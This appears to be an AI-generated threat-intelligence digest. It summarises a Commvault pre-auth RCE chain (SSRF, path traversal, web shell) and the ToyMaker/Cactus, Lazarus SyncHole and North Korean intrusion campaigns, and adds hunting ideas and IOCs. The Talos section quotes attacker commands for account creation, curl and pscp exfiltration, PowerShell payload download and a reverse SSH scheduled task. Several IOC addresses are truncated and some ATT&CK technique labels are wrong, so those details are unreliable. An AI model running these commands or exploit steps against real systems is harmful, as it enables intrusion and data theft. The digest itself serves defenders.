The Feed 2025-04-25

AI Generated Podcast

Summarized Stories

Fire In The Hole, We’re Breaching The Vault - Commvault Remote Code Execution (CVE-2025-34028): Researchers discovered and exploited a pre-authenticated Remote Code Execution vulnerability (CVE-2025-34028) in Commvault’s Enterprise Backup and Replication solution by chaining a Server-Side Request Forgery (SSRF) with an arbitrary file write vulnerability through the deployWebpackage.do endpoint.
Introducing ToyMaker, an initial access broker working in cahoots with double extortion gangs: Cisco Talos documents new IAB financially motivated TA “ToyMaker”. They exploit internet exposed vulnerable systems to deploy their custom-made backdoor we call “LAGTOY” to extract credentials and deploy create reverse shells on infected endpoints. A suspected cooperation with Cactus threat group is documented, who are a double extortion gang.
Operation SyncHole: Lazarus APT goes back to the well: “Operation SyncHole” is a Lazarus group campaign targeting South Korean organizations through watering hole attacks and exploitation of vulnerabilities in specific South Korean software, such as Cross EX and Innorix Agent, to deploy updated variants of their malware like ThreatNeedle, wAgent, SIGNBT, and COPPERHEDGE.
Russian Infrastructure Plays Crucial Role in North Korean Cybercrime Operations: North Korean cybercrime operations, linked to the Void Dokkaebi intrusion set, extensively leverage Russian IP address ranges and multi-layered anonymization techniques, including commercial VPNs, proxies, and RDP access to VPS servers, to conduct activities like fraudulent job scams targeting IT professionals and cryptocurrency theft.
Understanding the threat landscape for Kubernetes and containerized assets: The threat landscape for Kubernetes and containerized assets involves attacks originating from various areas, including password spray attacks leading to cryptomining, highlighting the need for strong authentication, principle of least privilege, secure coding practices, image assurance policies, and network traffic restrictions to enhance security.

Fire In The Hole, We’re Breaching The Vault - Commvault Remote Code Execution (CVE-2025-34028)

Summary

This article details the discovery and exploitation of a pre-authenticated Remote Code Execution (RCE) vulnerability, identified as CVE-2025-34028. The target of this vulnerability is Commvault’s Data Protection or Cyber Resilience solution, which is categorized as an Enterprise Backup and Replication suite. Backup and Replication platforms are highlighted as prime targets for ransomware operators due to their critical role in data recovery and their potential to store privileged credentials across environments. Compromising such a solution can severely impact an organization’s ability to restore operations after an attack. The vulnerability affects the Innovation Release of Commvault software and allows an attacker to achieve RCE without prior authentication. This presents a significant strategic threat, as it provides attackers a direct avenue into critical backup infrastructure, potentially enabling data destruction, encryption, or further lateral movement using captured credentials. The vulnerability was discovered and reported by watchTowr. Commvault has since patched the vulnerability in specified versions.

Technical Details

The analysis focused on the Windows on-premise edition, specifically Innovation Release 11.38.20. The core application of Commvault’s Command Center runs on Apache Tomcat, typically exposed on port 443/TCP. Initial reconnaissance involved identifying the application’s entry points and structure, including reviewing the server.xml configuration file. The primary web application is located under the /commandcenter context path and uses .do endpoints. These endpoints are routed via a mechanism that appears to scan specific packages (e.g., commvault.web, commvault.cvmvc).

While most endpoints require authentication, an authSkipRules.xml file lists certain endpoints that are pre-authenticated, bypassing authentication filters. The researchers targeted one such endpoint: /commandcenter/deployWebpackage.do, which accepts POST requests with parameters commcellName, servicePack, and version.

The exploitation chain involves chaining two core vulnerabilities:

Server-Side Request Forgery (SSRF): The commcellName parameter is directly concatenated into a URL as the hostname for an internal HTTP GET request made by the server to /commandcenter/webpackage.do. This allows an attacker to force the Commvault instance to fetch content from an arbitrary external host controlled by the attacker. There is no filtering on the hosts that can be communicated with.
- TTP: T1190 - Exploit Public-Facing Application (Specifically SSRF)
- Technique: HTTP GET request from the server using attacker-controlled input as the hostname.
- Parameters used: commcellName in a POST request to /commandcenter/deployWebpackage.do.
Arbitrary File Write & Unzip: The response content from the SSRF request is read into an input stream. The servicePack parameter is used to construct a directory path where this content is saved as dist-cc.zip.
- Initially, this failed due to the target directory not existing.
- Path Traversal: By including ../../ in the servicePack parameter (e.g., servicePack=../../Hello), an attacker can traverse directory structures and write the dist-cc.zip file into existing directories within the Commvault installation path, such as F:\\Program Files\\Commvault\\ContentStore\\Apache\\conf\\hello.
- TTP: T1597 - Gather Victim Network Information (for path traversal) & T1600 - Supply Chain Compromise (via arbitrary file write to potentially modify application files, although used here for RCE)
- Technique: Path traversal using ../ sequences within a parameter used for directory construction. File write operation (FileOutputStream, BufferedOutputStream) saving remote content to disk.
- Parameters used: servicePack and version in a POST request to /commandcenter/deployWebpackage.do. The version parameter content is written to version.txt.

Following the file write, the function deployCCPackage is called, which attempts to unzip the saved dist-cc.zip file into a temporary directory. This temporary directory’s path is also constructed using the servicePack parameter, allowing for further path traversal.

The critical step for RCE involves weaponizing the SSRF and file write/unzip:

The attacker crafts a zip file containing a malicious .jsp web shell.
This zip file is hosted on the attacker’s external server at a path like /commandcenter/webpackage.do to match the server’s expected endpoint.
The attacker sends a POST request to /commandcenter/deployWebpackage.do on the vulnerable Commvault server, using:
- commcellName pointing to their external server (e.g., external-host.com).
- servicePack containing path traversal sequences targeting a web-accessible directory on the Commvault server, such as ../../Reports/MetricsUpload/shell/. The /reports path is known to be web-accessible from the server.xml configuration.
The Commvault server is coerced into downloading the malicious zip file via SSRF and saving it to a path controlled by the servicePack parameter (e.g., F:\\Program Files\\Commvault\\ContentStore\\Reports\\MetricsUpload\\shell\\.tmp\\dist-cc\\dist-cc\\dist-cc.zip).
The deployCCPackage function then unzips the malicious content into a temporary directory within the target path (e.g., F:\\Program Files\\Commvault\\ContentStore\\Reports\\MetricsUpload\\shell\\.tmp\\dist-cc\\dist-cc\\).
The attacker can then access the deployed .jsp web shell via a standard HTTP GET request to the web-accessible path (e.g., /reports/MetricsUpload/shell/.tmp/dist-cc/dist-cc/watchTowr.jsp), executing arbitrary commands on the server.
- TTP: T1505.003 - Server Software Component: Web Shell
- Technique: Deploying a web shell into a web-accessible directory via chained SSRF, path traversal, and unzip vulnerabilities.

A parallel endpoint, /commandcenter/deployServiceCommcell.do, was also found to be vulnerable, triggering the same exploitable deployCCPackage function. This endpoint accepts the zip file content directly in a multipart request instead of requiring the SSRF step. This variant is useful in environments where the Commvault server’s outbound connections might be restricted but inbound POST requests are permitted.

The overall attack flow involves reconnaissance to identify the Commvault application structure and pre-authenticated endpoints, crafting malicious content (web shell in a zip), setting up an external server (for deployWebpackage.do variant), and sending crafted requests to trigger the vulnerable file handling and unzipping logic, culminating in web shell execution for RCE.

Countries

The source does not specify particular targeted countries. Commvault serves a global customer base.

Industries

The source identifies the target audience as large enterprises, MSPs, and “human sweatshops”. Specific industries beyond this general categorization are not mentioned.

Recommendations

The primary recommendation based on the source is to apply the vendor-provided patch.

The vulnerability affects Commvault Innovation Release versions 11.38.0 through 11.38.19.
The vulnerability is resolved in version 11.38.20 and above of the Innovation Release.
Organizations using affected versions should update to a patched version immediately.
The source also mentions a “Detection Artefact Generator” available, implying that systems can be checked for vulnerability. However, the source does not provide technical details on how to use this or what specific system checks it performs beyond the PoC execution shown.

Hunting methods

Based on the technical details, potential hunting methods could involve:

Monitoring Network Traffic:
- Look for unusual outbound HTTP GET requests originating from the Commvault server process (tomcat.exe) to external or unexpected IP addresses/domains. Specifically, look for requests targeting the path /commandcenter/webpackage.do on remote hosts.
- Look for inbound HTTP POST requests to the /commandcenter/deployWebpackage.do or /commandcenter/deployServiceCommcell.do endpoints.
- Analyze the parameters of these POST requests, looking for path traversal sequences (../, ../../) in the servicePack parameter.
Monitoring File System Activity:
- Look for the creation of new directories and files within the Commvault installation path, particularly in web-accessible directories like /AdminConsole/dist-cc-sps/ or /Reports/MetricsUpload/.
- Specifically, hunt for the creation of directories containing .tmp suffixes (e.g., *.tmp) followed by /dist-cc/dist-cc/ within these web paths, derived from the servicePack parameter and the unzip process.
- Look for the creation of files named version.txt, dist-cc.zip, or suspicious web script files (like .jsp) within these newly created or modified directories.
Monitoring Access Logs:
- Monitor the web access logs for the Commvault web server (Tomcat).
- Look for HTTP GET requests targeting suspicious .jsp files located within the web-accessible directories, particularly those within .tmp or dist-cc subdirectories (e.g., /reports/MetricsUpload/shell/.tmp/dist-cc/dist-cc/watchTowr.jsp). Successful exploitation is indicated by a 200 status code and potentially unusual content in the response body.

While no specific query languages (Yara, Sigma, KQL, SPL) are provided in the source, the TTPs described enable creation of hunting rules based on the file paths, process names, network connections, and request parameters detailed above. For instance, a Sigma rule could be written to detect POST requests to /commandcenter/deployWebpackage.do or /commandcenter/deployServiceCommcell.do containing ../ in the servicePack argument. File monitoring rules could trigger on creation of .jsp files under /Program Files/Commvault/ContentStore/*/Reports/*/ with .tmp in the path.

IOC

No specific tactical IOCs (IP addresses, domains, or file hashes of malicious payloads) used by attackers exploiting this vulnerability were provided in the source. The external hosts mentioned (External-Controlled-Host.com, external-host.com) are placeholders used in the proof-of-concept description.

The relevant CVE ID is:

CVE-2025-34028

Original link: Fire In The Hole, We’re Breaching The Vault - Commvault Remote Code Execution (CVE-2025-34028)

Introducing ToyMaker, an initial access broker working in cahoots with double extortion gangs

Summary

In 2023, Cisco Talos uncovered a significant compromise within a critical infrastructure enterprise involving a collaboration of threat actors. Talos has identified the initial access broker (IAB) as “ToyMaker”, assessing with medium confidence that they are a financially motivated group. ToyMaker specializes in gaining access to valuable organizations by exploiting vulnerable systems exposed to the internet. They deploy a custom backdoor known as LAGTOY (also called HOLERUN by Mandiant) to establish persistence and extract credentials. Following their initial access and credential theft, ToyMaker hands over access to secondary threat actors. In the observed instance, this handover was to the Cactus double extortion gang. The lull in activity between ToyMaker’s initial actions and Cactus’s subsequent operations can be significant, approximately three weeks in the observed case. Cactus then proceeds with their own tactics, techniques, and procedures (TTPs) for activities like network proliferation, data exfiltration, and ransomware deployment. ToyMaker’s limited activity (no observed victim-specific data exfiltration or extensive internal pivoting) and the subsequent handover strongly suggest a role focused solely on initial access for financial gain, rather than espionage. The discovery highlights the need to model and track the relationships between IABs and subsequent threat actors.

Technical Details

The compromise involved a sequence of actions utilizing various dual-use remote administration, SSH, and file transfer tools. ToyMaker initiates the attack by exploiting vulnerabilities in internet-facing systems. Their initial activities, lasting about a week, include preliminary reconnaissance, credential extraction, and backdoor deployment.

Upon successful compromise, ToyMaker conducts rapid system reconnaissance. This includes executing commands such as whoami, net user, net localgroup, net group, net user Administrator, nltest /domain_trusts, and net group Enterprise Admins for System Information Discovery [T1082]. They also gather network information using ipconfig /all [T1590].

Following reconnaissance, ToyMaker creates a fake user account named ‘support’ with administrative privileges using commands like net user support Sup0rtadmin /add and net localgroup administrators support /add [T1136].

An SSH listener is started on the compromised endpoint using the Windows OpenSSH package (sshd.exe). An SFTP server module (sftp-server.exe), downloaded from another infected host, is used to connect to a remote host to download the Magnet RAM Capture executable (MRCv120.exe). Credentials are then extracted from a memory dump obtained by running MRCv120.exe /accepteula /silent /go [T1003].

The resulting memory dumps are archived using 7za.exe with commands like 7za.exe a -p -mmt2 -mhe 1.7z 1.r [T1560]. These archives are subsequently exfiltrated using PuTTY’s SCP utility (pscp.exe), for example, pscp.exe -P 53 1.7z root@<Remote_IP>:/root [T1048].

LAGTOY, a custom reverse shell implant, is downloaded and executed via the sftp-server.exe connection. Persistence is established by creating a service named ‘WmiPrvSV’ using the command sc create WmiPrvSV start= auto error= ignore binPath= C:\Program Files\Common Files\Services\WmiPrvSV.exe [T1543]. LAGTOY beacons to a hard-coded C2 server to receive and execute commands. It includes rudimentary anti-debugging checks. C2 communication occurs over port 443 via a raw socket, not TLS. LAGTOY understands specific C2 administration codes like ‘#pt’ (stop service), ‘#pd’ (break execution, sleep, re-initiate C2), and ‘#ps’ (create process/command). Commands not prefixed with ‘#’ are executed directly. LAGTOY employs a time-based execution logic, sleeping for 11 seconds between commands and signaling the C2 if commands fail for over 30 minutes. It also has a watchdog that stops command execution after 60 cumulative minutes and re-initiates C2 connections if the service is active. ToyMaker’s activity typically ceases after successfully establishing access and potentially deploying LAGTOY.

After a lull period, the Cactus gang takes over, using credentials stolen by ToyMaker. Cactus performs its own reconnaissance and persistence, distinct from ToyMaker’s methods, and does not use LAGTOY as their primary vehicle. They conduct network scans to identify targets. This includes using WSMAN discovery scripts via PowerShell, such as C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File .\fs.ps1 result.csv for Remote System Discovery [T1018].

Reconnaissance results and other data are archived using 7z.exe [T1560] and exfiltrated using curl.exe [T1048] or WinSCP. Examples of archiving commands using 7z.exe with exclusions and password protection are provided. Exfiltration via HTTPS is shown with curl.exe -k -T .\pss.7z hxxps[:]//<remote_ip>:8443 and similar commands for archived data. Archiving commands are also used for specific data like customer information.

Cactus performs indicator removal [T1070] to clean up traces, including deleting registry keys related to command and RDP history, and deleting the ‘support’ user account created by ToyMaker using net user support /delete.

For persistence, Cactus deploys various remote administration tools like eHorus Agent, AnyDesk, and RMS Remote Admin, in addition to OpenSSH. These tools are staged by downloading them from remote servers, often using PowerShell or Impacket [T1608, T1218]. An example command shows downloading an MSI file via PowerShell: cmd.exe /Q /c powershell iwr -Uri http://<remote_IP>:7423/file.msi -OutFile C:\Programdata\f.msi and executing it with msiexec.exe. Cactus also creates reverse shells using OpenSSH, often persisted via scheduled tasks [T1053]. An example command for creating a scheduled task that connects to a remote SSH server hourly is SCHTASKS /CREATE /RU SYSTEM /SC HOURLY /ST 14:00 /F /TN GoogleUpdateTaskMachine /TR cmd /c FOR /L %N IN () DO (C:\ProgramData\ssh\ssh.exe -o "StrictHostKeyChecking no" root@<remote_ip> -p 443 -R 25369 -NCqf -i "C:\Windows\temp\syslog.txt" & timeout /t 15). To secure their access, Cactus modifies file permissions on their SSH private key file (syslog.txt) using icacls.exe commands to restrict access [T1222].

Cactus may also create new unauthorized user accounts [T1136 - inferred] to facilitate ransomware deployment, sometimes configuring them for automatic logon. An example command to create a user is net user whiteninja <password> /add. Registry modifications for auto-logon are also observed.

A notable defense evasion technique used by Cactus is rebooting systems into Safe Mode [T1562.001 - Impair Defenses, inferred sub-technique], likely to disable security products. Commands used are bcdedit /set {default} safeboot minimal and shutdown -r -f -t 0.

Cactus extensively utilizes Metasploit for code execution, employing shellcode-injected binaries of legitimate tools like Putty and ApacheBench. These connect to a specific remote server (51[.]81[.]42[.]234) over multiple ports (53, 443, 8343, 9232). Metasploit-generated ELF binaries are also used by Cactus, communicating with the same server.

Countries

The provided sources do not mention specific targeted countries.

Industries

The compromise was observed in a critical infrastructure enterprise.

Recommendations

Based on the provided sources, the following technical recommendations are implied by the listed security product coverages:

Endpoint Security: Use solutions like Cisco Secure Endpoint to prevent the execution of malicious binaries and malware.
Email Security: Employ security measures such as Cisco Secure Email to block malicious emails that may be part of the attack campaign.
Network Security: Utilize firewalls like Cisco Secure Firewall to detect and potentially block malicious network activity associated with these threats.
Network Visibility and Analytics: Leverage network analytics tools such as Cisco Secure Network/Cloud Analytics to automatically analyze network traffic and detect potentially unwanted activity.
Malware Analysis: Use sandboxing and threat intelligence platforms like Cisco Secure Malware Analytics to identify malicious binaries and generate protections.
Secure Access: Implement a Secure Service Edge (SSE) solution like Cisco Secure Access based on Zero Trust principles to secure user access.
Internet Security: Deploy a Secure Internet Gateway (SIG) like Cisco Umbrella to block connections to known malicious domains, IPs, and URLs.
Web Security: Use solutions like Cisco Secure Web Appliance to block or test suspicious websites before user access.
Threat Detection Rules: Snort users should ensure they have the latest rule packs to detect associated malicious activity.
Multi-Factor Authentication (MFA): While not directly stated as a prevention for the initial compromise vector, using MFA like Cisco Duo can significantly mitigate the impact of stolen credentials used by the secondary actor (Cactus) for initial access and proliferation.

IOC

Hashes

fdf977f0c20e7f42dd620db42d20c561208f85684d3c9efd12499a3549be3826
0a367cc7e7e297248fad57e27f83316b7606788db9468f59031fed811cfe4867
0bcfea4983cfc2a55a8ac339384ecd0988a470af444ea8f3b597d5fe5f6067fb
5831b09c93f305e7d0a49d4936478fac3890b97e065141f82cda9a0d75b1066d
691cc4a12fbada29d093e57bd02ca372bc10968b706c95370daeee43054f06e3
70077fde6c5fc5e4d607c75ff5312cc2fdf61ea08cae75f162d30fa7475880de
a95930ff02a0d13e4dbe603a33175dc73c0286cd53ae4a141baf99ae664f4132
c1bd624e83382668939535d47082c0a6de1981ef2194bb4272b62ecc7be1ff6b

Domains

N/A

Network IOCs

141.43.37
156.98.155
247.211.51
106.141.68
117.165.166
123.240.2
127.0.235
102.243.100
188.196.20
81.42.234
175.134.52
33.177.56
52.80.252
33.178.196
199.16.92

Original link: https://blog.talosintelligence.com/introducing-toymaker-an-initial-access-broker/

Operation SyncHole: Lazarus APT goes back to the well

Summary

Operation SyncHole is the latest attack campaign attributed to the Lazarus group, observed since November of last year. The campaign primarily targeted organizations in South Korea across multiple critical sectors, including software, IT, financial, semiconductor manufacturing, and telecommunications. While at least six organizations have been confirmed as victims, it is believed that many more companies have been compromised due to the widespread nature of the exploited software. The Lazarus group employed a sophisticated strategy combining watering hole attacks with the exploitation of vulnerabilities in widely used South Korean software. This approach leverages the specific characteristics of the South Korean internet environment, where mandatory security software is common for accessing online banking and government websites. The Lazarus group demonstrates a strong understanding of this environment and tailors its attacks accordingly. This campaign highlights the group’s continued focus on supply chain attacks targeting South Korean vendors and their ability to rapidly evolve their toolset and tactics to bypass detection. The swift reporting of findings to the Korea Internet & Security Agency (KrCERT/CC) facilitated the patching of the exploited software, demonstrating the effectiveness of rapid intelligence sharing and response in mitigating such threats.

Technical Details

The Operation SyncHole campaign utilizes a multi-stage approach starting with a watering hole attack. The initial infection was observed when users accessed certain South Korean online media sites. A server-side script on these compromised media sites filtered visitors and redirected specific targets to an attacker-controlled website, likely hosted on www.smartmanagerex[.]com which masqueraded as software from the same vendor as Cross EX. It is assessed with medium confidence that this redirected site hosted a malicious script designed to exploit a potential vulnerability in the Cross EX software installed on the target’s PC.

Cross EX is legitimate South Korean software designed to support mandatory security software requirements for online banking and government sites, typically running with user-level privileges. However, during the observed incidents, the Cross EX process was often executed with a high integrity level, suggesting the attackers likely performed privilege escalation as part of the exploitation process. While the exact exploit method remains unclear, the consistent exploitation chain originating from Cross EX processes across different victims, the fact that the latest version was installed, and the concentrated timeframe of incidents strongly suggest a vulnerability in Cross EX was leveraged.

Following successful exploitation, malware was injected into the legitimate SyncHost.exe process. This injection into SyncHost.exe was a common starting point observed across all identified affected organizations, indicating the use of the same vulnerability and exploit chain over several months.

The operation unfolded in two phases, distinguished by the malware employed. Phase 1 primarily involved variants of ThreatNeedle and wAgent, with LPEClient and the Agamemnon downloader also playing roles.

A variant of the ThreatNeedle backdoor, previously known as “ThreatNeedleTea”, was one of the first malware samples observed. This updated version is divided into Loader and Core components. The Core version is feature-rich with 37 commands, retrieving configuration from multiple NLS files, while the Loader version is simpler with only 4 commands and fewer config files. For persistence, the Core component can register a malicious loader file disguised as a ServiceDLL value for legitimate services like netsvcs or IKEEXT, or register as a Security Service Provider (SSP), ultimately loading the ThreatNeedle Loader. Communication with the C2 server utilizes asymmetric encryption based on the Curve25519 algorithm for key exchange, followed by symmetric encryption using the ChaCha20 algorithm with a shared key for data transfer, formatted in JSON.
LPEClient is a tool used for victim profiling and payload delivery. In this campaign, it was loaded by the ThreatNeedle variant, unlike previous campaigns where it was loaded by SIGNBT.
A variant of the wAgent malware was also discovered. The wAgent loader is executed via command line, disguised as liblzma.dll and run using rundll32.exe with a specific command-line argument that acts as a decryption key. This filename string is converted to wide bytes, and the highest 16 bytes are used as the key for AES-128-CBC decryption of an encrypted file in C:\ProgramData. The decrypted data contains the wAgent payload size and the updated wAgent malware itself. The variant communicates with the C2 using both form-data and JSON formats, including the __Host-next-auth-token key in the Cookie header. A new feature in this version is the use of the open-source GNU Multiple-Precision (GMP) library for RSA encryption computations. The wAgent variant, identified as x64_2.1, manages payloads using a C++ STL map and can load additional payloads directly into memory as plugins via a shared object.
The Agamemnon downloader is responsible for downloading and executing additional payloads from the C2. Commands and parameters received from the C2 are parsed using ;; as delimiters. It supports two payload execution methods: common reflective loading and the less common open-source Tartarus-TpAllocInject technique, built on Tartarus’ Gate, Halo’s Gate, and Hell’s Gate, all designed to bypass security products.
The Innorix abuser (or Innorix Agent exploit) is downloaded by the Agamemnon downloader and specifically targets a vulnerability in Innorix Agent (version 9.2.18.496) for lateral movement. Innorix Agent is another piece of mandatory South Korean software, making a vulnerable version likely present on many potential targets. The malware contains an embedded license key for the specific vulnerable version. It probes target IPs for a running Innorix Agent and, if successful, sends traffic that forces the target to download additional files from a specified URL, exploiting a lack of traffic validation. Lateral movement is achieved by delivering a legitimate AppVShNotify.exe and a malicious USERENV.dll to a target path and then executing the legitimate executable, resulting in DLL sideloading of USERENV.dll which launches ThreatNeedle and LPEClient on the new host. This particular vulnerability had been previously exploited and reported, but a new arbitrary file download zero-day vulnerability (KVE-2025-0014) in Innorix Agent (up to version 9.2.18.538) was also discovered during the investigation, although not observed in the wild.

Phase 2 involves the introduction of newer versions of SIGNBT and COPPERHEDGE.

SIGNBT malware was updated from version 1.0 (seen in 2023) to versions 0.0.1 and 1.2. SIGNBT 0.0.1 was the initial implant in Phase 2, executed in memory in SyncHost.exe, fetching additional malware including a credential dumping tool seen previously. SIGNBT 0.0.1’s C2 server was hardcoded. SIGNBT 1.2 retrieves C2 addresses from configuration files located at specific paths (C:\ProgramData\Samsung\SamsungSettings\settings.dat and C:\ProgramData\Microsoft\DRM\Server\drm.ver). SIGNBT 1.2 has minimal remote control capabilities and focuses on executing additional payloads. It uses RSA encryption for key exchange (encrypting a random AES key with the C2’s public key) and then AES encryption for all traffic.
COPPERHEDGE, a Manuscrypt variant, is also used in Phase 2. It retrieves configuration, including C2 addresses, from an Alternate Data Stream (ADS) located at %appdata%\Microsoft\Internet Explorer\brndlog.txt:loginfo. It communicates with the C2 via HTTP, sending three or four parameters with random names chosen from predefined sets. COPPERHEDGE was primarily used for internal reconnaissance. Analysis of commands executed by COPPERHEDGE revealed the actor manually entering commands for system information gathering (T1082, T1083, T1057, T1049, T1016, T1087.001), malicious service creation (T1569.002, T1007), and searching for hosts for lateral movement (T1087.002, T1135). A notable mistake observed was the incorrect use of the taskkill command with the /im parameter specifying a process ID instead of an image name, indicating manual operation during reconnaissance.

Overall, the Lazarus group’s malware has shown rapid evolution towards lightweighting and modularization, incorporating features like asymmetric encryption (RSA, Curve25519), plugin support, and division into core/loader versions. Enhancements have also been made to C2 communication and data handling.

The campaign’s infrastructure relied heavily on legitimate but compromised websites in South Korea for C2 servers. In Phase 1, media sites were used, while Phase 2 saw exploitation of sites in various other industries. An attacker-controlled server (www.smartmanagerex[.]com) was specifically created for the initial compromise and also hosted the C2 for LPEClient, highlighting the group’s effort to maintain operational flexibility. Some C2 domains for SIGNBT 0.0.1 resolved to the same hosting company’s IP range. One domain, thek-portal[.]com, was re-registered by the Lazarus group after it had been parked since 2020 to be leveraged in this operation. Attribution to the Lazarus group is based on the historical use of the observed malware strains and TTPs, corroborated by the timing of command execution, sample compile times, and initial compromises, which were concentrated between GMT 00:00 and 09:00, suggesting the actor is likely located in the GMT+09 time zone.

Countries

South Korea

Industries

Software IT Financial Semiconductor manufacturing Telecommunications Online media (leveraged for watering hole)

Recommendations

The primary recommendation based on the sources is to patch the exploited software. Specifically, the vulnerabilities in Cross EX and Innorix Agent have been addressed with updated versions. Organizations in South Korea, particularly those using these software products or operating in the targeted industries, should ensure they are running the latest patched versions. Additionally, using reliable security solutions is recommended to detect and prevent complex attacks early on. Rapid detection and response, as demonstrated by the communication with KrCERT/CC, are crucial in mitigating the impact of such campaigns.

Hunting methods

The provided sources do not explicitly contain Yara, Sigma, KQL, SPL, or other hunting queries. However, the technical details offer strong indicators for developing hunting methods.

Logic for potential hunting rules/queries could focus on:

Malware hashes: Searching for the known hashes of the malware variants.
File paths: Looking for specific malicious file paths used by the malware, such as C:\System32\PCAuditex.dll (ThreatNeedle loader), C:\ProgramData\intel\util.dat (wAgent loader), or %AppData%\hnc\_net.tmp (COPPERHEDGE dropper).
Process relationships: Identifying SyncHost.exe spawning suspicious child processes or exhibiting unusual network connections, or AppVShNotify.exe loading USERENV.dll.
Command line arguments: Monitoring for the specific rundll32.exe command line used to execute the wAgent loader (rundll32.exe c:\Programdata\intel\util.dat, afunix 1W2-UUE-ZNO-B99Z).
Persistence mechanisms: Detecting modifications related to service registration (ServiceDLL for netsvcs/IKEEXT) or SSP registration indicative of ThreatNeedle persistence.
Network connections: Alerting on connections to the identified C2 servers.
File activity: Monitoring for creation/modification of configuration files used by SIGNBT (e.g., C:\ProgramData\Samsung\SamsungSettings\settings.dat, C:\ProgramData\Microsoft\DRM\Server\drm.ver) or COPPERHEDGE ADS (%appdata%\Microsoft\Internet Explorer\brndlog.txt:loginfo).
Exploited software versions: Identifying systems running vulnerable versions of Cross EX or Innorix Agent (specifically Innorix Agent versions up to 9.2.18.496 or 9.2.18.538).
Manual reconnaissance commands: Detecting the execution of combinations of system information gathering commands (whoami, systeminfo, tasklist, netstat -nao, ipconfig /all, net group "domain admins" /domain) often executed manually after initial compromise.

IOC

Hashes

f1bcb4c5aa35220757d09fc5feea193b
dc0e17879d66ea9409cdf679bfea388c
2d47ef0089010d9b699cd1bbbc66f10a

Domains

www.smartmanagerex[.]com
thek-portal[.]com
builsf[.]com
www[.]rsdf[.]kr
www[.]shcpump[.]com
htns[.]com
kadsm[.]org
bluekostec[.]com
dream.bluit.gethompy[.]com

Original link: securelist.com

Russian Infrastructure Plays Crucial Role in North Korean Cybercrime Operations

Summary

North Korea plays a significant role in global cybercrime activities, which are often facilitated by the extensive use of anonymization networks and infrastructure located in Russia. The country’s limited national internet resources, consisting of only 1,024 IP addresses, necessitate the deployment of IT workers abroad and the heavy reliance on large-scale anonymization layers to scale their operations. These cybercrime activities are associated with the Void Dokkaebi intrusion set, also known as Famous Chollima. The primary strategic objective observed is the theft of cryptocurrency from software professionals with an interest in cryptocurrency, Web3, and blockchain technologies. However, there is an assessed possibility that initial access obtained in successful compromises could be leveraged for espionage, with access potentially being handed over to different teams if cryptocurrency theft is not feasible. The use of infrastructure in specific Russian towns, particularly Khasan and Khabarovsk, which have economic and cultural ties with North Korea, appears to be a key enabler for these operations. The presence of instructional videos in non-native English suggests the potential recruitment or involvement of less skilled actors outside the core group. The recurring use of Russian infrastructure, particularly within deeper layers of the anonymization network, raises a plausible hypothesis of intentional cooperation or infrastructure sharing between North Korean and Russian entities, assessed with low to medium confidence.

Technical Details

North Korean cybercrime campaigns, including those attributed to Void Dokkaebi, make extensive use of anonymization networks to conceal their origin. These networks employ multiple layers, including commercial VPN services, proxy servers, and numerous VPS servers accessed via RDP. Specific IP address ranges in Russia, assigned to organizations in Khasan and Khabarovsk, have been identified as crucial components of this infrastructure. These Russian IP ranges belong to ASN AS20485, associated with TransTelecom, which has functioned as a second upstream internet provider for North Korea since 2017, potentially linked to a fiber optic cable across the Korea-Russia Friendship Bridge near Khasan.

North Korea-aligned IT workers are assessed to be working from various countries, including China, Russia, and Pakistan. They reportedly connect back to North Korea using specific IP addresses in both Russia and North Korea. These actors utilize the Russian IP ranges to connect to dozens of VPS servers via RDP. From these VPS servers, they perform various tasks, including interacting on job recruitment sites, accessing cryptocurrency services, communicating via platforms like Skype, Telegram, Discord, Slack, Mattermost, and Microsoft Teams, and accessing coding-related websites like GitHub and Visual Studio. Some servers within the Russian IP ranges are used for brute-force attacks to crack cryptocurrency wallet passwords, utilizing tools like Hashtopolis.

A common social engineering tactic observed is luring IT professionals through fake job interviews advertised on platforms such as LinkedIn and Upwork. Fictitious companies, such as BlockNovas, are created with seemingly legitimate online presences, including websites and social media profiles, potentially using AI for persona creation and interview processes. As part of the interview process, applicants are asked to download and execute code, often from reputable repositories like GitHub or GitLab. This code may contain obfuscated malicious scripts hosted externally. If executed outside an isolated environment, this grants initial access to the victim’s system.

Upon gaining access, additional malware is deployed to search for sensitive data, including passwords and cryptocurrency wallets. Stolen cryptocurrency wallets may be emptied via cryptocurrency-related services accessed from the RDP VPS servers. Compromised systems can also be incorporated into the attacker’s anonymizing infrastructure by installing legitimate proxy software such as CCProxy. An alternative scheme involves North Korean IT workers securing remote jobs at Western companies and using laptop farms operated by co-conspirators in the West to hide their true location.

Associated malware includes Beavertail, Invisible Ferret, FrostyFerret (for Mac), and GolangGhost (for Windows). BlockNovas has been directly linked to Beavertail C&C servers through technical indicators. In one instance, an automated job interview website for BlockNovas attempted to trick applicants into installing malware disguised as a camera software update (FrostyFerret/GolangGhost). Instructional videos, likely created via RDP sessions to a Beavertail C&C server, detail procedures such as setting up Beavertail C&C components, using Dropbox, installing FTP servers, decoding/encoding C&C scripts, accessing infected hosts via websocket, uploading stolen information to Dropbox, checking wallet balances, and cracking passwords using Hashcat and Hashtopolis. Explicit proxy logs from a compromised cloud instance with CCProxy showed activity consistent with North Korean operations, accessed by a Russian IP address flagged for potential cybercrime. Analysis of anonymization layers revealed that Russian IPs were frequently used in deeper layers and occasionally connected to remote management portals and Beavertail C&C systems, and Astrill VPN is heavily used to obscure origins, though sometimes real Russian IPs are leaked.

Countries

Targeted countries include:

Ukraine
US
Germany
Ecuador
China (location of workers)
Russia (location of workers and infrastructure)
Pakistan (location of workers)
South America (potential location of workers)
Other regions/countries

Industries

Targeted industries and professionals include:

Software professionals interested in cryptocurrency, Web3, and blockchain technologies.
Energy industry (potential target for espionage after initial access).

Recommendations

Technical recommendations extracted from the source:

Code Execution: IT professionals performing code reviews or coding tests as part of an interview should never execute the code on a production server, corporate laptop, or personal laptop.
Isolated Environments: Tasks involving potentially untrusted code should be conducted within an isolated virtual environment. This prevents access to private or sensitive information.
Environment Destruction: After completing the test, the virtual environment should be securely destroyed.
Interview Vigilance: Candidates should be vigilant for indications of deepfakes or AI-generated responses from interviewers, such as vague or general answers.

Hunting methods

One hunting query is provided:

Query: malName: *BEAVERTAIL* AND eventName:MALWARE_DETECTION AND LogType: detection
Logic: This query is designed for the Trend Vision One Search App. It looks for security events where the malName field contains the string “BEAVERTAIL” and the event type (eventName) is MALWARE_DETECTION, specifically filtering for detection logs (LogType: detection). This helps identify systems where Beavertail malware has been detected by the security platform.
